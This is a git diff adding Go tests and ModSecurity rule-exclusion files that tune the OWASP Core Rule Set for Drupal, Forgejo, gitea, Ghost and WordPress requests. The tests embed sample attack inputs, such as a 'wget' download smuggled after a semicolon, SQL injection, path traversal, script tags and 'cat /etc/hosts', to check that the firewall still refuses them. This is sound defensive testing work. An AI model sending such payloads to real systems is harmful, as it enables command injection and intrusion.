atDefaults(t) + + for _, target := range []string{ + "/admin/content?title=", + "/admin/content/media?name=", + "/admin/people?user=", + "/admin/content/files?filename=", + "/admin/content/files?filemime=", + "/admin/content/block?info=", + "/admin/content/comment?subject=", + "/admin/content/comment?author_name=", + "/admin/config/search/path?search=", + "/admin/views/ajax/autocomplete/tag?q=", + "/search/node?keys=", + "/entity_reference_autocomplete/user/default/KEY?q=", + "/jsonapi/node/article?filter%5Btitle%5D=", + "/user/password?name=", + "/media-library?name=", + "/views/ajax?name=", + "/ckeditor5/basic_html/entity-link-suggestions?q=", + "/block-category/autocomplete?q=", + "/media/oembed?url=", + "/fr/admin/content?title=", + } { + got := inspect(t, crs, get(target+drupalCommandAttack)) + if got.Score < drupalThreshold { + t.Errorf("%s let through: %+v", target, got) + } + } +} + +func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, sent := range []struct{ target, field string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D="}, + {drupalAddArticle, "body%5B0%5D%5Bsummary%5D="}, + {drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="}, + {drupalAddArticle, "path%5B0%5D%5Balias%5D="}, + {drupalAddArticle, "field_tags%5Btarget_id%5D="}, + {drupalAddArticle, "field_image%5B0%5D%5Balt%5D="}, + {drupalSignIn, drupalName}, + {drupalRegister, drupalName}, + {drupalEditAccount, "mail="}, + {"/comment/reply/node/1/comment", drupalName}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D="}, + {"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="}, + {"/block/add/basic", "info%5B0%5D%5Bvalue%5D="}, + {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="}, + {"/contact", "subject%5B0%5D%5Bvalue%5D="}, + {"/contact/feedback", "message%5B0%5D%5Bvalue%5D="}, + {"/user/2/contact", "message%5B0%5D%5Bvalue%5D="}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) + if got.Score < drupalThreshold { + t.Errorf( + "POST %s %s let through: %+v", + r.target, + sent.field, + got, + ) + } + } + + // An address keeps 932250, which refuses ls -la. + r := request{http.MethodPost, drupalEditAccount, []string{formData}} + + got, _ := inspectBody(t, crs, r, "mail=ls%20-la") + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { + t.Errorf( + "POST %s mail=ls%%20-la: %+v, want 932250 among them", + r.target, + got, + ) + } +} + +// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half +// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields. +func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, field := range []string{ + `"title":"; wget http://example.com/x.sh"`, + `"subject":"; wget http://example.com/x.sh"`, + `"body":{"summary":"; wget http://example.com/x.sh"}`, + `"name":"; wget http://example.com/x.sh"`, + `"revision_log":"; wget http://example.com/x.sh"`, + `"info":"; wget http://example.com/x.sh"`, + `"description":{"value":"; wget http://example.com/x.sh"}`, + } { + r := request{ + http.MethodPost, "/jsonapi/node/article", + []string{"Content-Type: application/vnd.api+json"}, + } + body := `{"data":{"attributes":{` + field + `}}}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + + r := request{ + http.MethodPatch, + "/node/2?_format=json", + []string{jsonBody}, + } + body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) + } + + r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body = `{"name":"; wget http://example.com/x.sh","pass":"example"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } +} + +func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + const subject = "subject%5B0%5D%5Bvalue%5D=" + + for _, value := range hardValues { + for _, sent := range []struct{ target, field string }{ + {"/comment/reply/node/1/comment", subject}, + {"/comment/reply/node/1/comment/5", subject}, + {"/comment/reply/node/1/field_comments", subject}, + {"/comment/reply/media/1/comment", subject}, + {"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="}, + {"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="}, + {drupalSignIn, "pass="}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.field+value) + if got.Score >= drupalThreshold { + t.Errorf( + "POST %s %s%s refused: %+v", + sent.target, + sent.field, + value, + got, + ) + } + } + } + + for _, value := range hardValues { + word, err := url.QueryUnescape(value) + if err != nil { + t.Fatal(err) + } + + r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body := `{"name":"example","pass":"` + word + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + + r = request{ + http.MethodPost, + "/fr" + drupalJSONPasswordReset, + []string{jsonBody}, + } + body = `{"name":"` + word + `"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } + + for _, address := range []string{"python3@example.com", "powershell@example.com"} { + r := request{ + http.MethodPost, + "/fr" + drupalJSONPasswordReset, + []string{jsonBody}, + } + body := `{"mail":"` + address + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } +} + +func TestDrupalExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, passes := range []string{ + "/admin/content?title=python3", + "/search/node?keys=python3", + "/entity_reference_autocomplete/user/default/KEY?q=python3", + "/jsonapi/node/article?filter%5Btitle%5D=python3", + "/node/1/edit?destination=python3", + "/fr/admin/content?title=python3", + "/pt-br/search/node?keys=python3", + "/user/password?name=python3", + } { + if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold { + t.Errorf("%s refused: %+v", passes, got) + } + } + + for _, refused := range []string{ + "/?title=python3", + "/admin/content?other=python3", + "/?keys=python3", + "/node/1?keys=python3", + "/?q=python3", + "/?filter%5Btitle%5D=python3", + "/python3-notes?destination=python3", + "/notes/admin/content?title=python3", + "/fr/node/1?keys=python3", + "/?name=python3", + "/user/login?name=python3", + "/media/oembed?url=python3", + "/media/oembed?url=ls%20-la", + } { + if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold { + t.Errorf("%s let through: %+v", refused, got) + } + } +} + +func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // The same field name in the query keeps the rules, in the query and + // in the body. + for _, sent := range []struct{ path, field string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"}, + {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"}, + {drupalSignIn, "pass=python3"}, + {drupalSignIn, "name=python3"}, + {drupalEditAccount, "mail=python3"}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, + } { + r := request{ + http.MethodPost, + sent.path + "?" + sent.field, + []string{formData}, + } + + got, _ := inspectBody(t, crs, r, sent.field) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } + + // The JSON field name keeps the rules beside json.name in the query, and + // on a path other than the password reset. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.name=python3", + drupalJSONRegister, + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"name":"python3"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } + + // So does the JSON field mail. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.mail=python3%40example.com", + drupalJSONRegister, + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } +} diff --git a/internal/coreruleset/forgejo.conf b/internal/coreruleset/forgejo.conf new file mode 100644 index 0000000..ef650c7 --- /dev/null +++ b/internal/coreruleset/forgejo.conf @@ -0,0 +1,145 @@ +# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused +# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that +# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo +# sends and gitea does not. Each exclusion runs with the request, before the +# rules it switches off, so this file is loaded before the Core Rule Set's +# rules. Each comment names a request the rule refused. + +# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it +# while SWW_WAF_APPS is unset, or lists forgejo for the request's hostname. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_forgejo itself. +SecRule &TX:app_forgejo "@eq 0" \ + "id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO" + +# Forgejo's search of a wiki sends the text searched for in q, which skips +# these rules there: +# 930120: .htaccess +# 932120: powershell +# 932160: /bin/sh +# 932250: ls -la +# 932260: python3 +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \ + "id:900680,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932160;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q" + +# Forgejo's search of a repository's code at a branch or a tag sends the text +# searched for in q. The search box on a repository's home page sends it there +# when Forgejo has no code indexer, as by default. A branch or tag name can +# hold a slash, as feat/docker-support does. q skips there the rules it skips +# on gitea's search of code (900600 in gitea.conf). Among them, these refused +# Forgejo's searches there: +# 930120: .htaccess +# 932120: powershell +# 932160: /bin/sh +# 932250: ls -la +# 932260: python3 +# Forgejo has no owner named api, so a path under /api/ gets none of this. +SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \ + "id:900681,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME "!@rx ^/api/" \ + "ctl:ruleRemoveTargetById=930110;ARGS:q,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=931100;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932130;ARGS:q,\ + ctl:ruleRemoveTargetById=932140;ARGS:q,\ + ctl:ruleRemoveTargetById=932160;ARGS:q,\ + ctl:ruleRemoveTargetById=932235;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q,\ + ctl:ruleRemoveTargetById=932380;ARGS:q,\ + ctl:ruleRemoveTargetById=933100;ARGS:q,\ + ctl:ruleRemoveTargetById=933130;ARGS:q,\ + ctl:ruleRemoveTargetById=933135;ARGS:q,\ + ctl:ruleRemoveTargetById=934100;ARGS:q,\ + ctl:ruleRemoveTargetById=934110;ARGS:q,\ + ctl:ruleRemoveTargetById=934130;ARGS:q,\ + ctl:ruleRemoveTargetById=941100;ARGS:q,\ + ctl:ruleRemoveTargetById=941110;ARGS:q,\ + ctl:ruleRemoveTargetById=941160;ARGS:q,\ + ctl:ruleRemoveTargetById=941180;ARGS:q,\ + ctl:ruleRemoveTargetById=941390;ARGS:q,\ + ctl:ruleRemoveTargetById=942100;ARGS:q,\ + ctl:ruleRemoveTargetById=942140;ARGS:q,\ + ctl:ruleRemoveTargetById=942190;ARGS:q,\ + ctl:ruleRemoveTargetById=942230;ARGS:q,\ + ctl:ruleRemoveTargetById=944100;ARGS:q,\ + ctl:ruleRemoveTargetById=944110;ARGS:q,\ + ctl:ruleRemoveTargetById=944130;ARGS:q" + +# A page opened from the results of that search has the search's address in +# Referer, which skips these rules then, as after gitea's searches (900601 in +# gitea.conf): +# 941110: +# These fields take a ` + +// ghostWidgetCard is ghostWidget as the editor saves it in lexical. +const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` + + `"html":"
"}],` + + `"direction":null,"format":"","indent":0,"type":"root","version":1}}` + +// ghostAnalytics is code injection that loads analytics. +const ghostAnalytics = `` + +func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) { + t.Parallel() + + // An HTML card in a post, as the editor saves it, and as integrations + // send it. + wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false) + + for _, f := range ghostPostFields { + wantGhostField(t, f, ghostWidget, false) + } + + // Site code injection, saved in settings, and a post's, a page's or a + // tag's own. + for _, f := range ghostCodeFields { + wantGhostField(t, f, ghostAnalytics, false) + } +} + +// ghostAttacks are an SQL injection and a path traversal, not escaped. +// +//nolint:gochecknoglobals // a constant cannot be a list +var ghostAttacks = []string{injection, pathTraversal} + +// commandAfterASeparator is a shell command after a ";", not escaped. +const commandAfterASeparator = "; wget http://example.com/x.sh" + +func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { + t.Parallel() + + for _, attack := range ghostAttacks { + for _, f := range slices.Concat(ghostTextFields, ghostAddressFields, + ghostHandleFields, ghostDomainFields, ghostURLFields, + ghostArticleFields, ghostCodeFields) { + wantGhostField(t, f, attack, true) + } + + for _, target := range ghostQueryFields { + wantGhostQuery(t, target+url.QueryEscape(attack), true) + } + } + + // A script injection stays refused in every field that does not take a + // `, true) + } + + // An address and the domain keep 932250, which refuses a listing of + // files. A handle keeps it too, but its @ comes before any command. + for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) { + wantGhostField(t, f, "ls -la /root", true) + } +} + +func TestGhostTwoCommandNamesPass(t *testing.T) { + t.Parallel() + + // The site's title, saved through settings. + siteTitle := ghostField{ + http.MethodPut, + ghostSettings, + `{"settings":[{"key":"title","value":"VALUE"}]}`, + } + wantGhostField(t, siteTitle, ghostCommandNames, false) + + // Values that join two command names, as a person types them. + for _, typed := range []string{ + ghostCommandNames, "python3 & powershell", "powershell & ls -la", + "ls -la & python3", + } { + for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) { + wantGhostField(t, f, typed, false) + } + + wantGhostImportLabel(t, ghostImport, typed, false) + + for _, target := range slices.Concat( + ghostAnalyticsFilters, + []string{ghostAccountSearch}, + ) { + wantGhostQuery(t, target+url.QueryEscape(typed), false) + } + + // filter as the admin's post picker writes it, after a person types + // such a title. + filter := "status:published+title:~'" + typed + "'" + wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false) + } +} + +// TestGhostOrdinaryQueriesPass checks the query fields of the analytics +// pages, email_segment, the search of ActivityPub and the check of an +// invitation. +func TestGhostOrdinaryQueriesPass(t *testing.T) { + t.Parallel() + + for _, encoded := range hardValues { + value, _ := url.QueryUnescape(encoded) + text := url.QueryEscape("Notes on " + value + " & tidy files") + + for _, target := range ghostAnalyticsFilters { + wantGhostQuery(t, target+encoded, false) + } + + wantGhostQuery(t, ghostCampaign+text, false) + wantGhostQuery(t, ghostAccountSearch+text, false) + } + + // pathname, the page the analytics show: a post and two tag pages. + for _, path := range []string{ + "/tag/proc/", "/python3-and-powershell/", "/tag/python3/", + } { + wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false) + } + + wantGhostQuery( + t, + ghostCampaign+url.QueryEscape(ghostCommandNames), + false, + ) + wantGhostQuery( + t, + ghostAccountSearch+"%40powershell%40example.com", + false, + ) + + for _, segment := range []string{ + "label:powershell-users", "label:python3", "label:ls-la", + "label:htaccess", "status:free,tier:powershell-club", + } { + wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false) + } + + for _, address := range ghostAddresses { + wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false) + } +} + +// wantGhostImportLabel checks that the Core Rule Set, reading bodies, +// refuses label, sent as labels in a CSV import to target, or lets it +// through. +func wantGhostImportLabel( + t *testing.T, target, label string, refused bool, +) { + t.Helper() + + r := request{http.MethodPost, target, []string{multipart}} + body := field("labels", label) + field("mapping[email]", "email") + end + + got, _ := inspectBody(t, readingBodies(t), r, body) + if refused && got.Score < ghostThreshold { + t.Errorf("labels=%q at %s let through: %+v", label, target, got) + } + + if !refused && got.Score >= ghostThreshold { + t.Errorf("labels=%q at %s refused: %+v", label, target, got) + } +} + +func TestGhostImportLabelsPass(t *testing.T) { + t.Parallel() + + for _, encoded := range hardValues { + value, _ := url.QueryUnescape(encoded) + wantGhostImportLabel(t, ghostImport, value+" import", false) + } + + wantGhostImportLabel(t, ghostImport, ghostCommandNames, false) + + for _, attack := range ghostAttacks { + wantGhostImportLabel(t, ghostImport, attack, true) + } + + // labels keeps its rules on other paths, and when the query has a field + // of the same name. + wantGhostImportLabel(t, ghostMembers, "python3 import", true) + wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true) +} + +func TestGhostExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // The fields keep their rules off Ghost's paths, on Ghost's paths that + // take no such field, and when the query has a field of the same name. + const ( + title = `{"posts":[{"title":"python3"}]}` + article = `{"posts":[{"lexical":"

cat /etc/hosts

"}]}` + name = `{"name":"python3"}` + email = `{"email":"python3.dev@example.com"}` + username = `{"username":"python3.dev@example.com"}` + setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` + passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` + userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` + postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}` + pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}` + ) + + for _, refused := range []struct{ target, body string }{ + {"/api/posts/", title}, + {"/ghost/api/content/posts/", title}, + {ghostMember, title}, + {ghostPosts + "?json.posts.0.title=x", title}, + {ghostPosts, `{"posts":[{"visibility":"python3"}]}`}, + {ghostPosts, name}, + {ghostMember + "?json.name=x", name}, + {"/api/posts/", article}, + {"/ghost/api/admin/users/", `{"users":[{"bio":""}]}`}, + {ghostPosts + "?json.posts.0.lexical=x", article}, + {"/api/settings/", `{"settings":[{"value":""}]}`}, + { + ghostSettings + "?json.settings.0.value=x", + `{"settings":[{"value":""}]}`, + }, + {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, + {ghostPosts, email}, + {ghostMembers, email}, + {ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`}, + { + ghostMembers + "?json.members.0.email=x", + `{"members":[{"email":"python3.dev@example.com"}]}`, + }, + {ghostMember + "?json.email=x", email}, + {ghostPosts, username}, + {ghostSession + "?json.username=x", username}, + {ghostPosts, setupEmail}, + {ghostSetup + "?json.setup.0.email=x", setupEmail}, + {ghostPosts, passwordResetEmail}, + {ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail}, + {ghostPosts, userEmail}, + {ghostUser + "?json.users.0.email=x", userEmail}, + {"/api/posts/1/", postURL}, + {ghostMembers, postURL}, + {ghostPage, postURL}, + {ghostPost + "?json.posts.0.canonical_url=x", postURL}, + {ghostPost, pageURL}, + {ghostPage + "?json.pages.0.canonical_url=x", pageURL}, + {ghostSession, `{"username":"x","pass":"' OR '1'='1"}`}, + {"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`}, + {"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`}, + { + "/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x", + `{"users":[{"profile_image":null}]}`, + }, + } { + r := request{http.MethodPut, refused.target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, refused.body) + if got.Score < ghostThreshold { + t.Errorf( + "PUT %s %s let through: %+v", + refused.target, + refused.body, + got, + ) + } + } +} + +func TestGhostScriptExclusionIsNarrow(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A ` + scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}` + scriptInSettings = `{"settings":[{"value":"` + script + `"}]}` + scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}` + ) + + for _, refused := range []struct{ target, body string }{ + {"/ghost/api/content/posts/", scriptInPost}, + {ghostPosts + "?json.posts.0.lexical=x", scriptInPost}, + {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`}, + {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`}, + {"/api/settings/", scriptInSettings}, + {ghostSettings + "?json.settings.0.value=x", scriptInSettings}, + {ghostPosts, scriptInTag}, + {ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag}, + } { + r := request{http.MethodPut, refused.target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, refused.body) + if got.Score < ghostThreshold || + !slices.Contains(got.RuleIDs, 941110) { + t.Errorf( + "PUT %s %s: %+v, want 941110 among them", + refused.target, + refused.body, + got, + ) + } + } +} + +func TestGhostQueryExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + // The query fields keep their rules off Ghost's paths, and in other + // query fields there. search skips its rules only on the Admin API, and + // url only on the editor's lookup of embeds. pathname, email_segment, + // query and email skip theirs only on their own paths. + for _, target := range []string{ + "/api/posts/?filter=powershell", + "/ghost/posts/?filter=powershell", + "/ghost/api/admin/posts/?order=powershell", + "/ghost/api/content/posts/?search=python3", + "/members/api/member/?search=python3", + "/ghost/api/admin/posts/?url=powershell", + "/oembed/?url=powershell", + "/ghost/api/admin/posts/?pathname=%2Fpowershell%2F", + "/ghost/api/admin/stats/top-content/?order=powershell", + "/ghost/api/admin/pages/?email_segment=label%3Apowershell-users", + "/ghost/api/admin/posts/?query=python3", + "/.ghost/activitypub/v1/actions/note?query=python3", + "/ghost/api/admin/invites/?email=python3.dev%40example.com", + } { + wantGhostQuery(t, target, true) + } +} + +// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body +// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks +// the others: each keeps its rules on another path, and when the query has +// a field of the same name. +func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + const ( + bio = `{"users":[{"bio":"python3"}]}` + comment = `{"comments":[{"html":"

Notes on .htaccess

"}]}` + content = `{"content":"python3"}` + altText = `{"image":{"altText":"python3"}}` + accountBio = `{"bio":"python3"}` + invited = `{"invites":[{"email":"python3.dev@example.com"}]}` + accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}` + sourceHandle = `{"sourceHandle":"@powershell@example.com"}` + actorURI = `{"actorUri":"https://example.com/users/powershell"}` + targetHandle = `{"targetHandle":"@powershell@example.com"}` + domain = `{"domain":"python3.example.com"}` + tagCode = `{"tags":[{"codeinjection_head":""}]}` + tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}` + ) + + for _, refused := range []struct{ target, body string }{ + {"/api/users/1/", bio}, + {ghostMember, bio}, + {ghostUser + "?json.users.0.bio=x", bio}, + {ghostPosts, comment}, + {ghostComments + "?json.comments.0.html=x", comment}, + {ghostAccount, content}, + {ghostNote + "?json.content=x", content}, + {ghostAccount, altText}, + {ghostNote + "?json.image.altText=x", altText}, + {ghostNote, accountBio}, + {ghostAccount + "?json.bio=x", accountBio}, + {ghostPosts, invited}, + {ghostInvites + "?json.invites.0.email=x", invited}, + {ghostInvites, accepted}, + {ghostInvitation + "?json.invitation.0.email=x", accepted}, + {ghostMigration, sourceHandle}, + {ghostAliases + "?json.sourceHandle=x", sourceHandle}, + {ghostMigration, actorURI}, + {ghostAliases + "?json.actorUri=x", actorURI}, + {ghostAliases, targetHandle}, + {ghostMigration + "?json.targetHandle=x", targetHandle}, + {ghostAccount, domain}, + {ghostDomain + "?json.domain=x", domain}, + {ghostPosts, tagCode}, + {ghostTags + "?json.tags.0.codeinjection_head=x", tagCode}, + {ghostPosts, tagURL}, + {ghostTags + "?json.tags.0.canonical_url=x", tagURL}, + } { + r := request{http.MethodPut, refused.target, []string{jsonBody}} + + got, _ := inspectBody(t, readingBodies(t), r, refused.body) + if got.Score < ghostThreshold { + t.Errorf("PUT %s %s let through: %+v", refused.target, + refused.body, got) + } + } +} + +func TestGhostPasswordsPass(t *testing.T) { + t.Parallel() + + // Ghost's password fields, each sent to the path that takes it. A dot + // nests a field, as Ghost nests it in an array. + fields := []passwordFields{ + {ghostSession, jsonBody, []string{passwordKey}}, + { + "/ghost/api/admin/authentication/setup/", + jsonBody, + []string{"setup.0.password"}, + }, + { + "/ghost/api/admin/authentication/invitation/", jsonBody, + []string{"invitation.0.password"}, + }, + { + "/ghost/api/admin/authentication/password_reset/", jsonBody, + []string{ + "password_reset.0.newPassword", + "password_reset.0.ne2Password", + }, + }, + { + "/ghost/api/admin/users/password/", jsonBody, + []string{ + "password.0.oldPassword", "password.0.newPassword", + "password.0.ne2Password", + }, + }, + } + + wantPasswordFieldsPass(t, fields) +} diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf new file mode 100644 index 0000000..d2129ef --- /dev/null +++ b/internal/coreruleset/gitea.conf @@ -0,0 +1,669 @@ +# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. +# They are the fields where gitea sends a search, a file's name or text, a +# commit message, a branch name or a repository's name. Each exclusion runs with +# the request, before the rules it switches off, those of phase 1 included, so +# this file is loaded before the Core Rule Set's rules. Each comment names a +# request the rule refused. + +# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it +# while SWW_WAF_APPS is unset, or lists gitea or forgejo for the request's hostname. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_gitea itself. +SecRule &TX:app_gitea "@eq 0" \ + "id:900590,phase:1,pass,nolog,skipAfter:END_GITEA" + +# The query parameters in which gitea sends names within a repository or its +# own records, or a page of its own site, are not checked against the lists of +# system files, shell paths and command names, on any path: +# 930120: .gitignore +# 932160: bin/docker-entrypoint +# 932260: docker-build +# ARGS holds the fields of a form data or multipart body Coraza reads as well +# as the query parameters, so a field of these names is left out too. +SecAction "id:900591,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:path,\ + ctl:ruleRemoveTargetById=930120;ARGS:files,\ + ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=930120;ARGS:ref,\ + ctl:ruleRemoveTargetById=930120;ARGS:sha,\ + ctl:ruleRemoveTargetById=930120;ARGS:branch,\ + ctl:ruleRemoveTargetById=930120;ARGS:workflow,\ + ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\ + ctl:ruleRemoveTargetById=932160;ARGS:path,\ + ctl:ruleRemoveTargetById=932160;ARGS:files,\ + ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=932160;ARGS:ref,\ + ctl:ruleRemoveTargetById=932160;ARGS:sha,\ + ctl:ruleRemoveTargetById=932160;ARGS:branch,\ + ctl:ruleRemoveTargetById=932160;ARGS:workflow,\ + ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\ + ctl:ruleRemoveTargetById=932260;ARGS:path,\ + ctl:ruleRemoveTargetById=932260;ARGS:files,\ + ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\ + ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\ + ctl:ruleRemoveTargetById=932260;ARGS:ref,\ + ctl:ruleRemoveTargetById=932260;ARGS:sha,\ + ctl:ruleRemoveTargetById=932260;ARGS:branch,\ + ctl:ruleRemoveTargetById=932260;ARGS:workflow,\ + ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\ + ctl:ruleRemoveTargetById=932260;ARGS:redirect_to" + +# gitea's searches of code, of issues and pull requests, and of commits send the +# text searched for in q, which skips these rules there: +# 930110: ../ +# 930120: .gitignore +# 931100: http://127.0.0.1:8080 +# 932120: Invoke-WebRequest +# 932130: $(pwd) +# 932140: if (a == b) { +# 932160: /bin/sh +# 932235: `make check` +# 932250: ls -la +# 932260: python3 +# 932380: `whoami` +# 933100: +# 941110: \\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\",\"meta\":{\"footnotes\":\"\"}}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"slug\":\"bobs-first-post\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
